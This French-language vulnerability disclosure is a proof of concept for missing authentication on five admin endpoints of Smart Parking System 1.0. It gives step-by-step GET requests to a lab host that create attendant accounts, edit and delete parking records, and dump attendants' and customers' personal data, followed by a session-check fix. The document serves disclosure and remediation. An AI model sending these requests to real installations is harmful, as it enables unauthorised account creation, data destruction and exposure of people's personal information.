
Preuve de concept démontrant un accès non authentifié aux fonctions d'administration critiques dans Smart Parking System 1.0, permettant la création de comptes, la manipulation de données et l'exposition de données personnelles (PII).
| Champ | Détails |
|---|
| Produit | Smart Parking System |
| Vendeur | code-projects.org |
| Version | 1.0 |
| Classe de vulnérabilité | Authentification manquante pour une fonction critique (CWE-306) |
| ID CVE | En attente |
| Score CVSS | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentification requise | Aucune |
| Fichiers concernés | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
Le Smart Parking System 1.0 de code-projects.org ne parvient pas à imposer l'authentification sur plusieurs points de terminaison réservés aux administrateurs. Un attaquant distant non authentifié peut accéder directement à ces points de terminaison sans cookie de session et effectuer des opérations privilégiées, notamment créer des comptes de préposés, modifier et supprimer des enregistrements de stationnement, et consulter toutes les données personnelles des clients et les données de réservation.
Aucun identifiant, aucun jeton de session et aucune interaction d'un utilisateur légitime ne sont requis pour exploiter cette vulnérabilité.
Aucun identifiant / aucune session
↓
Requête GET directe vers les points de terminaison admin
↓
attendant.php → créer des comptes de préposés frauduleux
edit.php → lire et écraser tout enregistrement de stationnement
basic_table.php → supprimer tout enregistrement de stationnement
basic_table2.php → extraire toutes les données personnelles des préposés
admin_request.php → extraire tous les e-mails clients et les données de réservation
↓
Fonctionnalité admin complète compromise
Ouvrez une nouvelle session de navigateur sans cookies. Accédez à la racine de l'application. La page de connexion s'affiche, confirmant qu'aucune session active n'existe :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Accédez directement au point de terminaison d'enregistrement des préposés :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Résultat : Le formulaire complet « Add Parking Attendant Details » se charge avec des champs pour le prénom, le nom, le numéro de mobile, la rue, le nom d'utilisateur et le mot de passe. Un attaquant peut enregistrer un compte de préposé frauduleux avec accès au système.
Accédez directement au point de terminaison de modification des enregistrements de stationnement :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Résultat : Le formulaire « Update Parkings Details » se charge pré-rempli avec les valeurs en direct de la base de données :
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Un attaquant peut écraser n'importe quel champ et soumettre pour enregistrer directement les modifications dans la base de données.
Envoyez une requête GET directe au point de terminaison de suppression :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Résultat : L'application répond avec :
Parking deleted successfully
L'enregistrement est définitivement détruit dans la base de données. Aucune authentification, aucun jeton CSRF et aucune invite de confirmation requis.
Accédez directement au point de terminaison de liste des préposés :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Résultat : La liste complète des préposés est renvoyée, y compris les noms, les numéros de mobile et les rues assignées :
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Accédez directement au point de terminaison des demandes de réservation admin :
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Résultat : Tous les enregistrements de réservation clients sont renvoyés, y compris les e-mails, les places, les heures et les coûts :
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| Fichier | Vulnérabilité |
|---|---|
attendant.php | Création de comptes de préposés non authentifiée |
edit.php | Accès en lecture/écriture non authentifié aux enregistrements de stationnement |
basic_table.php | Suppression non authentifiée des enregistrements de stationnement |
basic_table2.php | Accès non authentifié à toutes les données personnelles des préposés |
admin_request.php | Accès non authentifié à toutes les données de réservation clients |
Ajoutez une vérification d'authentification de session en haut de chaque fichier PHP orienté admin :
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}